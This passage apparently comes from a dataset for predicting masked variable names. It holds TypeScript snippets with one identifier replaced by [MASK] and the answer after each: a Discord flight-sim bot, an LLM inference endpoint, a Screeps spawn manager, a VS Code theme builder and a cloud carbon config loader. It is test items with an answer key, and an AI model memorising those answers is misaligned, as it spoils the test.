    'Departure',
    'Center',
    'ATIS',
    'Aircraft',
    'Recorded',
    'Unknown',
    'Unused',
];

export async function atcHandler(
    interaction: Interaction
): Promise<InteractionResponse> {
    const server = interaction.data!.options![0].value! as string;
    const atc = await iflive.atc(server);

    let airports: { [key: string]: string[] } = {};
    for (const station of atc) {
        if (!airports[station.airportName]) {
            airports[station.airportName] = [];
        }

        airports[station.airportName].push(atcTypeNames[station.type]);
    }

    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: `ATC Stations for ${servers[server]}`,
                    timestamp: new Date().toISOString(),
                    fields: Object.entries(airports).map(
                        ([airport, stations]) => ({
                            name: airport,
                            value: stations.join(', '),
                        })
                    ),
                },
            ],
        },
    };
}

export async function userHandler(
    interaction: Interaction
): Promise<InteractionResponse> {
    const user = interaction.data!.options![0].value as string;
    let  [MASK] : UserStats[];
    try {
         [MASK]  = await iflive.userStats([], [], [user]);
        if ( [MASK] .length == 0) {
            throw new Error('User not found');
        }
    } catch {
        return {
            type: InteractionResponseType.ChannelMessageWithSource,
            data: {
                content: `Could not find user ${user}. Maybe they are flying anonymously?`,
            },
        };
    }

    const userStats =  [MASK] [0];
    const flightTime = `${Math.floor(userStats.flightTime / 60)}:${
        userStats.flightTime % 60
    }`;
    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: `Stats for ${userStats.discourseUsername}`,
                    description: `Online Flights: ${userStats.onlineFlights}\nViolations: ${userStats.violations}\nXP: ${userStats.xp}\nLandings: ${userStats.landingCount}\nFlight Time: ${flightTime}\nGrade: Grade ${userStats.grade}\nVO: ${userStats.virtualOrganization}`,
                    timestamp: new Date().toISOString(),
                },
            ],
        },
    };
}

export async function atisHandler(
    interaction: Interaction
): Promise<InteractionResponse> {
    const icao = interaction.data!.options![0].value! as string;

    let atis: string;
    try {
        atis = await iflive.atis(icao);
        if (!atis) {
            throw new Error('No ATIS');
        }
    } catch {
        return {
            type: InteractionResponseType.ChannelMessageWithSource,
            data: {
                content: `Could not find ATIS for ${icao}.`,
            },
        };
    }

    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: `ATIS for ${icao.toUpperCase()}`,
                    description: atis,
                    timestamp: new Date().toISOString(),
                },
            ],
        },
    };
}

export async function airportHandler(
    interaction: Interaction
): Promise<InteractionResponse> {
    const icao = interaction.data!.options![0].value! as string;

    let atis: string;
    let status: AirportStatus;
    try {
        atis = await iflive.atis(icao);
        status = await iflive.airportStatus(icao);
        if (!atis || !status) {
            throw new Error();
        }
    } catch {
        return {
            type: InteractionResponseType.ChannelMessageWithSource,
            data: {
                content: `Could not find ATIS or status for ${icao}.`,
            },
        };
    }

    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: `Airport: ${icao.toUpperCase()}`,
                    footer: {
                        text: 'Currently only the Expert Server is supported',
                    },
                    timestamp: new Date().toISOString(),
                    fields: [
                        {
                            name: 'Departures',
                            value: status.outboundFlightsCount.toString(),
                        },
                        {
                            name: 'Arrivals',
                            value: status.inboundFlightsCount.toString(),
                        },
                        {
                            name: 'ATC',
                            value: status.atcFacilities
                                .map((f) => atcTypeNames[f.type])
                                .join(', '),
                        },
                        {
                            name: 'ATIS',
                            value: atis,
                        },
                    ],
                },
            ],
        },
    };
}

export async function statsHandler(): Promise<InteractionResponse> {
    const sessions = await iflive.sessions();
    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: 'Server Stats',
                    fields: sessions.map((s) => ({
                        name: s.name,
                        value: `Users: ${s.userCount}\nLoad: ${Math.round(
                            (s.userCount / s.maxUsers) * 100
                        )}`,
                    })),
                },
            ],
        },
    };
}

export async function tracksHandler(): Promise<InteractionResponse> {
    const tracks = await iflive.oceanicTracks();
    return {
        type: InteractionResponseType.ChannelMessageWithSource,
        data: {
            content: '',
            embeds: [
                {
                    title: 'Current Oceanic Tracks',
                    fields: tracks
                        .sort((a, b) => a.name.localeCompare(b.name))
                        .map((t) => ({
                            name: `Track ${t.name}`,
                            value:
                                t.eastLevels == null
                                    ? 'East to West'
                                    : 'West to East',
                        })),
                    timestamp: tracks[0]
                        ? new Date(tracks[0].lastSeen).toISOString()
                        : undefined,
                },
            ],
        },
    };
}
",userInfo
627,"import * as y from ""yup"";
import {defaultModelLoopup, modelsToFinetune} from ""~/constants/models"";
import {inferenceEndpoints} from ""~/constants/modal"";
import {createChatRequest, getNumberOfChatRequestsInLast24Hours} from ""~/server/database/chat-request"";
import {getModelFromId} from ""~/server/database/model"";
import {logger} from ""~/server/utils/observability/logtail"";
import {checkSessionAction} from ""~/server/utils/session"";
import {bodySchema} from ""./schema"";
import {EventName, sendEvent} from ""~/server/utils/observability/posthog"";

async function getResponse(host: string, modelId: string | undefined, validatedBody: y.InferType<typeof bodySchema>) {
	const adapter_id = modelId ? `/trained_adapters/${modelId}` : undefined;

	const body = JSON.stringify({
		parameters: {
			temperature: validatedBody.parameters.temperature,
			top_p: validatedBody.parameters.topP,
			do_sample: validatedBody.parameters.doSample,
			max_new_tokens: validatedBody.parameters.maxTokens,
			repetition_penalty: validatedBody.parameters.repetitionPenalty,
			adapter_id,
		},
		chat: validatedBody.history,
		auth_token: process.env.MODAL_AUTH_TOKEN,
	});

	console.log(""sending request"", body, host);

	return fetch(host, {
		method: ""POST"",
		headers: {
			""Content-Type"": ""application/json"",
		},
		body,
	});
}

async function retryInference(makeCall: () => Promise<Response>, logInfo: object) {
	for (let i = 0; i < 3; i++) {
		try {
			return makeCall();
		} catch (e) {
			logger.error(""Inference error, try no. "" + i, {...logInfo, error: e});
		}
	}

	logger.error(""Inference failed after 3 attempts."", logInfo);
	throw new Error(""Inference failed"");
}

export async function POST(request: Request) {
	const body = await request.json();
	const validatedBody = await bodySchema.validate(body);

	const [session, model] = await Promise.all([checkSessionAction(), getModelFromId(validatedBody.modelId)]);

	sendEvent(session.user.id, EventName.INFERENCE_REQUEST, {
		modelId: validatedBody.modelId,
	});

	logger.info(""Inference request"", {
		modelId: validatedBody.modelId,
		userId: session.user.id,
		body: JSON.stringify(body),
	});

	// Check if user has reached their daily limit
	const last24h = await getNumberOfChatRequestsInLast24Hours(session.user.id);
	if (last24h > 100) {
		logger.info(""Daily inference rate limit reached"", {modelId: validatedBody.modelId});
		return new Response(""Daily limit reached for free tier"", {
			status: 402,
		});
	}

	// Both of these are available to all users
	const isDefaultModel = Object.keys(defaultModelLoopup).includes(validatedBody.modelId);

	// Adapter not found and not internal model
	if (!isDefaultModel && !model) {
		logger.error(""Model not found"", {modelId: validatedBody.modelId, userId: session.user.id});
		throw new Error(""Model not found"");
	}

	const baseModel = model?.baseModel || defaultModelLoopup[validatedBody.modelId as keyof typeof defaultModelLoopup];
	const  [MASK]  = y.string().oneOf(modelsToFinetune).required().validateSync(baseModel);
	const host = inferenceEndpoints[ [MASK] ];

	return retryInference(
		async () => {
			const response = await getResponse(host, model?.id, validatedBody);
			if (response.ok) {
				await createChatRequest(session.user.id, validatedBody.modelId);
			}

			return new Response(response.body);
		},
		{modelId: validatedBody.modelId},
	);
}
",baseModelValidated
628,"import { CreepRole } from 'types/main'
import { isEqual, isGtOrEqual } from 'utils/base'
import { creepTemplates } from '../constants'
import Census, { CensusRecords } from './Census'

const { HARVESTER } = CreepRole

/*
    THE GARRISON IS RESPONSIBLE FOR UNIT PRODUCTION
*/
export class Garrison {
    private room: Room
    private spawn: StructureSpawn
    private energyAvailable: number
    private energyCapacity: number
    private controllerLevel: number
    public spawnQueue: CreepRole[]
    public census: Census

    constructor(spawn: StructureSpawn, room: Room, controllerLevel: number) {
        this.room = room
        this.spawn = spawn
        this.controllerLevel = controllerLevel
        this.energyAvailable = spawn.room.energyAvailable
        this.energyCapacity = spawn.room.energyCapacityAvailable
        this.census = new Census(room)
        this.spawnQueue = room.memory.spawnQueue || undefined

        if (this.spawnQueue === undefined)
            this.spawnQueue = this.generateSpawnQueue(this.controllerLevel, isGtOrEqual)
    }

    private generateCreepRecipe(template: BodyPartConstant[], energy: number): BodyPartConstant[] {
        let parts: BodyPartConstant[] = []

        while (energy > 0 && parts.length < 50) {
            // Get next part in the template.
            let next = template[parts.length % template.length] // returns 0...2

            // If next part cost > energy remaining, try to build remaining template
            if (BODYPART_COST[next] > energy) {
                // Get parts in template after expensive one
                const start = template.indexOf(next) + 1
                const remainingTemplate = template.slice(start, template.length)
                // If there's anything left, try again
                if (remainingTemplate.length > 0) {
                    // Run this function with the partial template
                    const result = this.generateCreepRecipe(remainingTemplate, energy)
                    // Add that output list to the 'main' parts list
                    parts = parts.concat(result)
                }

                // Clean up the energy at this level bc it was used up in a recusion
                energy -= energy
            } else {
                // Add part to recipe and subtract energy cost
                energy -= BODYPART_COST[next]
                parts.push(next)
            }
        }

        // SORT PARTS BASED ON ORIGINAL TEMPLATE?
        //  FILTER PARTS INTO SUB-ARRAYS AND THEN CONCAT THEM BACK TOGETHER?
        return parts
    }

    public generateSpawnQueue(controllerLevel: number, predicate: Function): CreepRole[] {
        const output: CreepRole[] = []
        const census: CensusRecords = this.census.getRecords()

        for (const id in census) {
            // Get the config for that role
            const cfg = census[id]
            // Get a typesafe role name
            const role = id as CreepRole
            // If our the creep should spawn yet
            if (predicate(cfg.unlock, controllerLevel)) {
                for (let i = 1; i <= cfg.max; i++) {
                    output.push(role)
                }
            }
        }

        return output
    }

    public updateSpawnQueue(controllerLevel: number): void {
        // Get the new creeps if any are unlocked at this level
        const newCreeps = this.generateSpawnQueue(controllerLevel, isEqual)
        // Add them to the end of the queue
        this.spawnQueue = [...this.spawnQueue, ...newCreeps]
        this.save()
    }

    public buryTheDead(): void {
        for (const name in Memory.creeps) {
            if (!(name in Game.creeps)) {
                this.census.remove(Memory.creeps[name].role)
                this.removeFromMemory(name, Memory.creeps[name].role)
            }
        }

        this.save()
    }

    private removeFromMemory(name: string, role: CreepRole): void {
        if (delete Memory.creeps[name]) {
            // Put this creep's role back at the front of the queue
            this.spawnQueue.unshift(role)
        }
    }

    private spawnCreep(role: CreepRole): void {
        const name: string = `${role}-${Game.time}`
        const template: BodyPartConstant[] = creepTemplates[role]
        const body = this.generateCreepRecipe(template, this.spawn.room.energyAvailable)
        const opts = { memory: { role } }

        if (this.spawn.spawnCreep(body, name, opts) === 0) {
            // Remove the creep's role from the queue
            this.spawnQueue.shift()
            // Add the role to the census
            this.census.add(role)
        }
    }

    public recruit(): void {
        const role: CreepRole = this.spawnQueue[0]
        const  [MASK]  = this.census.getCount(HARVESTER) === 0
        const hasMinimumEnergy = this.energyAvailable >= 300

        // If Harvesters all die off don't wait for other roles to build
        //  as it'll take forever to build everything else in the queue
        //  before the 1st Harvester
        if ( [MASK]  && hasMinimumEnergy) {
            // Move the Harvester queue entry to the front of the queue
            this.spawnQueue.splice(this.spawnQueue.indexOf(HARVESTER), 1)
            this.spawnQueue.unshift(HARVESTER)
            this.spawnCreep(HARVESTER)
        } else if (role) {
            // Do we have room for another creep of this role?
            const haveRoom = this.census.hasRoomFor(role)
            // Are we at max energy, so they're the biggest and best they can be?
            const atFullEnergy = this.energyAvailable === this.energyCapacity

            if (haveRoom && atFullEnergy) {
                // Spawn a creep
                this.spawnCreep(role)
            }
        }

        this.save()
    }

    private save(): void {
        this.room.memory.spawnQueue = this.spawnQueue
        this.room.memory.census = this.census.getRecords()
    }
}
",hasNoHarvesters
629,"import * as fs from 'fs-extra';
import * as path from 'path';
import MoxerBorderline from './themes/moxer-borderline';
import Moxer from './themes/moxer.js';

// tslint:disable-next-line: no-submodule-imports
import { generateTheme, IColorSet } from 'vscode-theme-generator/dist';

/**
 * Define paths
 */
const buildPath: string = path.join(__dirname, '../build');
const themes: any[] = [Moxer, MoxerBorderline];

/**
 * Checl if the build folder exist.
 * If not, create it.
 */
if (!fs.existsSync(buildPath)) {
	fs.mkdirSync(buildPath);
}

/**
 * Generate a [theme-name].json for each
 * theme file found inside src/themes
 */
themes.forEach(theme => {
	const  [MASK] : IColorSet = {
		base: {
			// Determines the overall background color
			background: theme.ui.background,
			// Determines boolean, identifier, keyword, storage, and cssClass
			color1: theme.base.red,
			// Determines string, stringEscape, and cssId
			color2: theme.base.green,
			// Determines function, class, classMember, type, and cssTag
			color3: theme.base.yellow,
			// Determines functionCall and number
			color4: theme.base.paleblue,
			// Determines the overall text foreground color
			foreground: theme.base.white
		},
		/**
		 * Overrides workbench UI Elements
		 */
		overrides: {
			/**
			 * General elements style
			 */
			focusBorder: theme.ui.background + '00',
			'widget.shadow': theme.ui.background + '00',
			'selection.background': theme.base.paleblue + '50',
			'scrollbar.shadow': theme.ui.background + '00',
			'editorLink.activeForeground': theme.ui.foreground,
			'progressBar.background': theme.base.yellow,
			'debugToolBar.background': theme.ui.background,
			'pickerGroup.foreground': theme.base.yellow,
			'editorMarkerNavigation.background': theme.ui.foreground + '05',
			'tree.indentGuidesStroke': theme.ui.shade1,
			'terminalCursor.foreground': theme.base.yellow,
			'terminalCursor.background': theme.base.black,
			/**
			 * Buttons style
			 */
			'button.background': theme.ui.background,
			'button.hoverBackground': theme.ui.shade2,
			/**
			 * Links style
			 */
			'textLink.foreground': theme.base.cyan,
			'textLink.activeForeground': theme.base.yellow,
			/**
			 * Sidebar style
			 */
			'sideBar.background': theme.ui.background,
			'sideBar.foreground': theme.ui.shade4,
			'sideBar.border': theme.ui.shade2 + '50',
			/**
			 * Sidebar elements style
			 */
			'sideBarTitle.foreground': theme.ui.shade4,
			'sideBarSectionHeader.background': theme.ui.background,
			// ""sideBarSectionHeader.foreground"": theme.ui.foreground,
			'sideBarSectionHeader.border': theme.ui.background,
			/**
			 * Window panels style (terminal, global search)
			 */
			'panel.background': theme.ui.background,
			'panel.border': theme.ui.borders,
			'panel.dropBackground': theme.ui.shade2,
			/**
			 * Window panels elements style
			 */
			'panelTitle.inactiveForeground': theme.ui.shade4,
			'panelTitle.activeForeground': theme.base.white,
			'panelTitle.activeBorder': theme.base.yellow,
			/**
			 * Code Editor style
			 */
			'editor.background': theme.ui.background,
			'editor.foreground': theme.ui.foreground,
			'editor.lineHighlightBackground': theme.ui.shade1 + '50',
			'editor.lineHighlightBorder': theme.ui.shade1 + '00',
			'editor.findMatchBackground': theme.ui.background + '00',
			'editor.findMatchHighlightBackground': theme.ui.background + '00',
			'editor.findMatchBorder': theme.base.pink,
			'editor.findMatchHighlightBorder': theme.ui.shade6,
			// Editor Indent guides
			'editorIndentGuide.background': theme.ui.shade1,
			'editorIndentGuide.activeBackground': theme.ui.shade3,
			// Editor line number
			'editorLineNumber.foreground': theme.ui.shade3,
			'editorLineNumber.activeForeground': theme.base.yellow,
			// Editor tab groups
			'editorGroupHeader.tabsBackground': theme.ui.background,
			'editorGroup.border': theme.ui.background,
			// Editor gutter
			'editorGutter.modifiedBackground': theme.base.blue + '60',
			'editorGutter.addedBackground': theme.base.green + '60',
			'editorGutter.deletedBackground': theme.base.red + '60',
			/**
			 * Activity bar style
			 */
			'activityBar.background': theme.ui.background,
			'activityBar.border': theme.ui.background,
			'activityBar.foreground': theme.ui.shade5,
			/**
			 * Activity bar badges style
			 */
			'activityBarBadge.background': theme.base.cyan,
			'activityBarBadge.foreground': theme.ui.background,
			/**
			 * Global badges style
			 */
			'badge.background': theme.base.cyan,
			'badge.foreground': theme.ui.background,
			/**
			 * Extensions badge style
			 */
			'extensionBadge.remoteBackground': theme.ui.shade3,
			'extensionBadge.remoteForeground': theme.ui.foreground,
			/**
			 * Scrollbar style
			 */
			'scrollbarSlider.background': theme.ui.shade4 + '50',
			'scrollbarSlider.hoverBackground': theme.ui.shade2,
			'scrollbarSlider.activeBackground': theme.ui.shade4,
			/**
			 * Tabs style
			 */
			'tab.activeBorder': theme.ui.background,
			'tab.activeBorderTop': theme.base.cyan,
			'tab.inactiveModifiedBorder': theme.ui.shade5,
			'tab.activeModifiedBorder': theme.base.pink,
			'tab.unfocusedActiveBorder': theme.ui.shade4,
			'tab.activeForeground': theme.base.white,
			'tab.activeBackground': theme.ui.background,
			'tab.inactiveForeground': theme.ui.shade4,
			'tab.inactiveBackground': theme.ui.background,
			'tab.unfocusedActiveForeground': theme.ui.foreground,
			'tab.border': theme.ui.background,
			/**
			 * Editor overlay widgets style (find/replace..)
			 */
			'editorWidget.background': theme.ui.shade1,
			'editorWidget.resizeBorder': theme.base.yellow,
			'editorWidget.border': theme.base.yellow,
			/**
			 * Statusbar style
			 */
			'statusBar.noFolderBackground': theme.ui.background,
			'statusBar.border': theme.ui.borders,
			'statusBar.background': theme.ui.background,
			'statusBar.foreground': theme.ui.shade4,
			'statusBar.debuggingBackground': theme.base.purple,
			'statusBar.debuggingForeground': theme.base.white,
			/**
			 * Statusbar items style
			 */
			'statusBarItem.hoverBackground': theme.ui.shade1 + '50',
			'statusBarItem.remoteForeground': theme.base.black,
			'statusBarItem.remoteBackground': theme.base.yellow,
			/**
			 * Matching brackets style
			 */
			'editorBracketMatch.border': theme.base.cyan + '70',
			'editorBracketMatch.background': theme.ui.background,
			/**
			 * Editor Overview Ruler style
			 */
			'editorOverviewRuler.findMatchForeground': theme.base.pink,
			'editorOverviewRuler.border': theme.ui.borders,
			'editorOverviewRuler.errorForeground': theme.base.red,
			'editorOverviewRuler.infoForeground': theme.base.blue,
			'editorOverviewRuler.warningForeground': theme.base.yellow,
			/**
			 * Squigglies style
			 */
			'editorInfo.foreground': theme.base.blue,
			'editorWarning.foreground': theme.base.yellow,
			'editorError.foreground': theme.base.red,
			/**
			 * Popop dialogs style
			 */
			'editorHoverWidget.background': theme.ui.shade1,
			'editorHoverWidget.border': theme.ui.shade1,
			/**
			 * Title bar style
			 */
			'titleBar.activeBackground': theme.ui.background,
			'titleBar.activeForeground': theme.ui.foreground,
			'titleBar.inactiveBackground': theme.ui.background,
			'titleBar.inactiveForeground': theme.ui.shade4,
			'titleBar.border': theme.ui.borders,
			/**
			 * Textfield and inputs style
			 */
			'input.background': theme.ui.background,
			'input.foreground': theme.base.pink,
			'input.placeholderForeground': theme.ui.shade3,
			'input.border': theme.ui.shade1,
			/**
			 * Inputs validation style
			 */
			'inputValidation.errorBorder': theme.base.red + '50',
			'inputValidation.infoBorder': theme.base.blue + '50',
			'inputValidation.warningBorder': theme.base.yellow + '50',
			/**
			 * Dropdown menu style
			 */
			'dropdown.background': theme.ui.shade1,
			'dropdown.border': theme.ui.shade1,
			/**
			 * Lists style
			 */
			'list.hoverForeground': theme.ui.foreground,
			'list.hoverBackground': theme.ui.background + '00',
			'list.activeSelectionBackground': theme.ui.background + '00',
			'list.activeSelectionForeground': theme.base.cyan,
			'list.inactiveSelectionForeground': theme.base.cyan,
			'list.inactiveSelectionBackground': theme.ui.shade1 + '50',
			'list.focusBackground': theme.ui.shade1,
			'list.focusForeground': theme.base.white,
			'list.highlightForeground': theme.base.cyan,
			'list.dropBackground': theme.ui.shade2,
			/**
			 * Editor suggest widget style
			 */
			'editorSuggestWidget.background': theme.ui.shade1,
			'editorSuggestWidget.foreground': theme.ui.foreground,
			'editorSuggestWidget.highlightForeground': theme.base.cyan,
			'editorSuggestWidget.selectedBackground': theme.ui.shade2,
			'editorSuggestWidget.border': theme.ui.shade1,
			/**
			 * Editor diff editor style
			 */
			'diffEditor.insertedTextBackground': theme.base.cyan + '20',
			'diffEditor.removedTextBackground': theme.base.pink + '20',
			/**
			 * Extensions button style
			 */
			'extensionButton.prominentBackground': theme.base.yellow,
			'extensionButton.prominentHoverBackground': theme.base.yellow,
			'extensionButton.prominentForeground': theme.ui.background,
			/**
			 * Peekview window style
			 */
			'peekViewEditor.background': theme.ui.background,
			'peekViewResult.background': theme.ui.background,
			'peekView.border': theme.ui.shade1,
			'peekViewTitle.background': theme.ui.shade1,
			'peekViewEditorGutter.background': theme.ui.background,
			'peekViewTitleDescription.foreground': theme.ui.foreground,
			'peekViewResult.matchHighlightBackground': theme.base.pink + '50',
			'peekViewEditor.matchHighlightBackground': theme.base.pink + '50',
			'peekViewResult.selectionBackground': theme.ui.shade1,
			/**
			 * GIT decorations style
			 */
			'gitDecoration.deletedResourceForeground': theme.base.red,
			'gitDecoration.conflictingResourceForeground': theme.base.yellow,
			'gitDecoration.modifiedResourceForeground': theme.base.blue,
			'gitDecoration.untrackedResourceForeground': theme.base.green,
			'gitDecoration.ignoredResourceForeground': theme.ui.shade1,
			/**
			 * Breadcrumb style
			 */
			'breadcrumb.background': theme.ui.background,
			'breadcrumb.foreground': theme.ui.shade4,
			'breadcrumb.focusForeground': theme.ui.foreground,
			'breadcrumb.activeSelectionForeground': theme.base.pink,
			'breadcrumbPicker.background': theme.ui.background,
			/**
			 * Custom menus style
			 */
			'menu.background': theme.ui.shade1,
			'menu.foreground': theme.ui.shade3,
			'menu.selectionBackground': theme.ui.shade1,
			'menu.selectionForeground': theme.ui.foreground,
			'menu.selectionBorder': theme.ui.shade1,
			'menu.separatorBackground': theme.ui.shade3,
			/**
			 * Menu Bar style
			 */
			'menubar.selectionBackground': theme.ui.shade1,
			'menubar.selectionForeground': theme.ui.foreground,
			'menubar.selectionBorder': theme.ui.shade1,
			/**
			 * Settings elements style
			 */
			'settings.dropdownForeground': theme.ui.foreground,
			'settings.dropdownBackground': theme.ui.background,
			'settings.numberInputForeground': theme.ui.foreground,
			'settings.numberInputBackground': theme.ui.background,
			'settings.textInputForeground': theme.ui.foreground,
			'settings.textInputBackground': theme.ui.background,
			'settings.headerForeground': theme.base.cyan,
			'settings.modifiedItemIndicator': theme.base.pink,
			'settings.checkboxBackground': theme.ui.background,
			'settings.checkboxForeground': theme.ui.foreground,
			/**
			 * List Filter Widget style
			 */
			'listFilterWidget.background': theme.base.violet,
			'listFilterWidget.outline': theme.base.violet,
			'listFilterWidget.noMatchesOutline': theme.base.violet
		},
		/**
		 * Overrides specific syntax scopes provided
		 * by the theme generator
		 */
		syntax: {
			boolean: theme.base.pink,
			class: theme.base.violet,
			classMember: theme.base.red,
			comment: theme.ui.shade4,
			cssClass: theme.base.yellow,
			cssId: theme.base.orange,
			cssTag: theme.base.yellow,
			function: theme.base.yellow,
			functionCall: theme.base.violet,
			identifier: theme.base.cyan,
			keyword: theme.base.red,
			storage: theme.ui.foreground,
			string: theme.base.green,
			stringEscape: theme.ui.foreground,
			type: theme.base.pink
		},
		/**
		 * Define the integrated shell
		 * color palette
		 */
		terminal: {
			black: theme.ui.shade3,
			blue: theme.base.blue,
			brightBlack: theme.ui.shade3,
			brightBlue: theme.base.blue,
			brightCyan: theme.base.cyan,
			brightGreen: theme.base.green,
			brightMagenta: theme.base.purple,
			brightRed: theme.base.red,
			brightWhite: theme.base.white,
			brightYellow: theme.base.yellow,
			cyan: theme.base.cyan,
			green: theme.base.green,
			magenta: theme.base.purple,
			red: theme.base.red,
			white: theme.base.white,
			yellow: theme.base.yellow
		},
		/**
		 * Define workbench colors
		 */
		ui: {
			// highlights matches from the find widget
			currentFindMatchHighlight: theme.ui.shade5,
			// set the editor cursor color
			cursor: theme.base.yellow,
			// ighlights matches from the find widge
			findMatchHighlight: theme.base.pink,
			// highlights the selected area for ""find in selection""
			findRangeHighlight: theme.base.yellow + '30',
			// set color for invisible characters/whitespaces
			invisibles: theme.ui.shade1,
			// highlights text which matches the selected text
			selection: theme.ui.shade1,
			// highlights text inside selected area
			selectionHighlight: theme.base.yellow + '50',
			// when the cursor is on a symbol, highlights places that symbol is read
			wordHighlight: theme.base.pink + '30',
			// when the cursor is on a symbol, highlights places that symbol is written
			wordHighlightStrong: theme.base.green + '30'
		},
		/**
		 * Override all syntax tokens
		 */
		syntaxOverrides: [
			{
				name: '',
				scope: [''],
				settings: {
					fontStyle: '',
					foreground: '',
					background: ''
				}
			}
		]
	};

	/**
	 * Call the theme generator for each
	 * theme found in `themes`
	 */
	generateTheme(
		theme.name,
		 [MASK] ,
		path.join(__dirname, `../build/${theme.name}.json`)
	);
});
",colorSet
630,"/*
 * © 2022 Thoughtworks, Inc.
 */

import { Config as BackstageConfig } from '@backstage/config';
import {
  AWS_RECOMMENDATIONS_SERVICES,
  CCFConfig,
  configLoader,
} from '@cloud-carbon-footprint/common';

export const convertConfig = (appConfig?: BackstageConfig): CCFConfig => {
  const ccfDefaults = configLoader();
  const  [MASK]  = appConfig?.getOptionalConfig('cloudCarbonFootprint');
  if (! [MASK] ) {
    return ccfDefaults;
  }
  const gcpConfig =  [MASK] .getOptionalConfig('gcp');
  const awsConfig =  [MASK] .getOptionalConfig('aws');
  const azureConfig =  [MASK] .getOptionalConfig('azure');
  const onPremiseConfig =  [MASK] .getOptionalConfig('onPremise');
  const mongodbConfig =  [MASK] .getOptionalConfig('mongodb');
  const optionalConfig =  [MASK] .getOptionalConfig('optional');

  return {
    ...ccfDefaults,
    GCP: !gcpConfig
      ? ccfDefaults.GCP
      : {
          ...ccfDefaults.GCP,
          INCLUDE_ESTIMATES:
            gcpConfig.getOptionalBoolean('includeEstimates') ??
            ccfDefaults.GCP!.INCLUDE_ESTIMATES,
          USE_BILLING_DATA:
            gcpConfig.getOptionalBoolean('useBillingData') ??
            ccfDefaults.GCP!.USE_BILLING_DATA,
          BILLING_PROJECT_ID:
            gcpConfig.getOptionalString('billingProjectId') ??
            ccfDefaults.GCP!.BILLING_PROJECT_ID,
          BILLING_PROJECT_NAME:
            gcpConfig.getOptionalString('billingProjectName') ??
            ccfDefaults.GCP!.BILLING_PROJECT_NAME,
          BIG_QUERY_TABLE:
            gcpConfig.getOptionalString('bigQueryTable') ??
            ccfDefaults.GCP!.BIG_QUERY_TABLE,
          projects:
            gcpConfig.getOptional<{ id: string; name: string }[]>('projects') ??
            ccfDefaults.GCP!.projects,
          USE_CARBON_FREE_ENERGY_PERCENTAGE:
            gcpConfig.getOptionalBoolean('useCarbonFreeEnergyPercentage') ??
            ccfDefaults.GCP!.USE_CARBON_FREE_ENERGY_PERCENTAGE,
          VCPUS_PER_GKE_CLUSTER:
            gcpConfig.getOptionalNumber('vcpusPerGkeCluster') ??
            ccfDefaults.GCP!.VCPUS_PER_GKE_CLUSTER,
          VCPUS_PER_CLOUD_COMPOSER_ENVIRONMENT:
            gcpConfig.getOptionalNumber('vcpusPerCloudComposerEnvironment') ??
            ccfDefaults.GCP!.VCPUS_PER_CLOUD_COMPOSER_ENVIRONMENT,
          CACHE_BUCKET_NAME:
            gcpConfig?.getOptionalString('gcsCacheBucketName') ??
            ccfDefaults.GCP!.CACHE_BUCKET_NAME,
          RESOURCE_TAG_NAMES:
            gcpConfig.getOptional<string[]>('resourceTagNames') ??
            ccfDefaults.GCP!.RESOURCE_TAG_NAMES,
        },
    AWS:
      awsConfig === undefined
        ? ccfDefaults.AWS
        : {
            ...ccfDefaults.AWS,
            INCLUDE_ESTIMATES:
              awsConfig.getOptionalBoolean('includeEstimates') ??
              ccfDefaults.AWS!.INCLUDE_ESTIMATES,
            USE_BILLING_DATA:
              awsConfig.getOptionalBoolean('useBillingData') ??
              ccfDefaults.AWS!.USE_BILLING_DATA,
            BILLING_ACCOUNT_ID:
              awsConfig.getOptionalString('billingAccountId') ??
              ccfDefaults.AWS!.BILLING_ACCOUNT_ID,
            BILLING_ACCOUNT_NAME:
              awsConfig.getOptionalString('billingAccountName') ??
              ccfDefaults.AWS!.BILLING_ACCOUNT_NAME,
            ATHENA_DB_NAME:
              awsConfig.getOptionalString('athenaDbName') ??
              ccfDefaults.AWS!.ATHENA_DB_NAME,
            ATHENA_DB_TABLE:
              awsConfig.getOptionalString('athenaDbTable') ??
              ccfDefaults.AWS!.ATHENA_DB_TABLE,
            ATHENA_REGION:
              awsConfig.getOptionalString('athenaRegion') ??
              ccfDefaults.AWS!.ATHENA_REGION,
            ATHENA_QUERY_RESULT_LOCATION:
              awsConfig.getOptionalString('athenaQueryResultLocation') ??
              ccfDefaults.AWS!.ATHENA_QUERY_RESULT_LOCATION,
            accounts:
              awsConfig.getOptional<{ id: string; name: string }[]>(
                'accounts',
              ) ?? ccfDefaults.AWS!.accounts,
            authentication: {
              mode:
                awsConfig.getOptionalString('authMode') ??
                ccfDefaults.AWS!.authentication!.mode,
              options: {
                targetRoleName:
                  awsConfig.getOptionalString('targetAccountRoleName') ??
                  ccfDefaults.AWS!.authentication!.options!.targetRoleName,
                proxyAccountId:
                  awsConfig.getOptionalString('proxyAccountId') ??
                  ccfDefaults.AWS!.authentication!.options!.proxyAccountId,
                proxyRoleName:
                  awsConfig.getOptionalString('proxyRoleName') ??
                  ccfDefaults.AWS!.authentication!.options!.proxyRoleName,
              },
            },
            RECOMMENDATIONS_SERVICE:
              (awsConfig.getOptionalString(
                'recommendationsService',
              ) as AWS_RECOMMENDATIONS_SERVICES) ??
              ccfDefaults.AWS!.RECOMMENDATIONS_SERVICE,
            COMPUTE_OPTIMIZER_BUCKET:
              awsConfig.getOptionalString('computeOptimizerBucket') ??
              ccfDefaults.AWS!.COMPUTE_OPTIMIZER_BUCKET,
            IS_AWS_GLOBAL:
              awsConfig.getOptionalBoolean('isAwsGlobal') ??
              ccfDefaults.AWS!.IS_AWS_GLOBAL,
            RESOURCE_TAG_NAMES:
              awsConfig.getOptional<string[]>('resourceTagNames') ??
              ccfDefaults.AWS!.RESOURCE_TAG_NAMES,
          },
    AZURE:
      azureConfig === undefined
        ? ccfDefaults.AZURE
        : {
            ...ccfDefaults.AZURE,
            INCLUDE_ESTIMATES:
              azureConfig.getOptionalBoolean('includeEstimates') ??
              ccfDefaults.AZURE!.INCLUDE_ESTIMATES,
            USE_BILLING_DATA:
              azureConfig.getOptionalBoolean('useBillingData') ??
              ccfDefaults.AZURE!.USE_BILLING_DATA,
            RESOURCE_TAG_NAMES:
